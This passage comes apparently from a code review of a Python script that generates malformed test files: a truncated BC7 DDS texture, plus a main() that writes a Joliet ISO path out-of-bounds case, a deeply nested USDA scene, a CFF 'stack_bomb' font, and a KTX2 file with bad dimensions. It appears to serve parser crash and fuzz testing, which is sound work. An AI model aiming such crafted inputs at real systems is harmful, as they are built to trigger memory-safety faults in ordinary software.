height, width = 512, 512
|
||||
pitch = 0
|
||||
depth = 0
|
||||
mips = 1
|
||||
hdr = struct.pack("<7I", 124, flags, height, width, pitch, depth, mips)
|
||||
hdr += b"\x00" * 44 # reserved
|
||||
hdr += struct.pack("<I", 32) # pixelformat size
|
||||
hdr += struct.pack("<I", 0x4) # DDPF_FOURCC
|
||||
hdr += b"DX10"
|
||||
hdr += b"\x00" * 20
|
||||
hdr += struct.pack("<5I", 0x1000, 0, 0, 0, 0) # caps
|
||||
# DX10 extension header: DXGI_FORMAT_BC7_UNORM = 98
|
||||
dx10 = struct.pack("<5I", 98, 3, 0, 1, 0)
|
||||
data = b"\x00" * 64 # needs 65536 for one full mip
|
||||
return magic + hdr + dx10 + data
|
||||
|
||||
|
||||
# --------------------------------------------------------------------------- main
|
||||
def main():
|
||||
written = []
|
||||
|
||||
iso = build_joliet_iso()
|
||||
p = os.path.join(OUT, "joliet_path_oob.iso")
|
||||
open(p, "wb").write(iso)
|
||||
written.append((p, len(iso)))
|
||||
|
||||
usda = build_usda()
|
||||
p = os.path.join(OUT, "deep_nest.usda")
|
||||
open(p, "wb").write(usda)
|
||||
written.append((p, len(usda)))
|
||||
|
||||
cff = build_cff()
|
||||
p = os.path.join(OUT, "stack_bomb.cff")
|
||||
open(p, "wb").write(cff)
|
||||
written.append((p, len(cff)))
|
||||
|
||||
ktx = build_ktx2()
|
||||
p = os.path.join(OUT, "ktx2_bad_dims.ktx2")
|
||||
open(p, "wb").write(ktx)
|
||||
written.append((p, len(ktx)))
|
||||
|
||||
dds = build_dds()
|
||||
p = os.path.join(OUT, "bc7_short.dds")
|
||||
open(p, "wb").write(dds)
|
||||
written.append((p, len(dds)))
|
||||
|
||||
for p, n in written:
|
||||
print("wrote %-28s %8d bytes" % (os.path.basename(p), n))
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
Reference in new issue
Block a user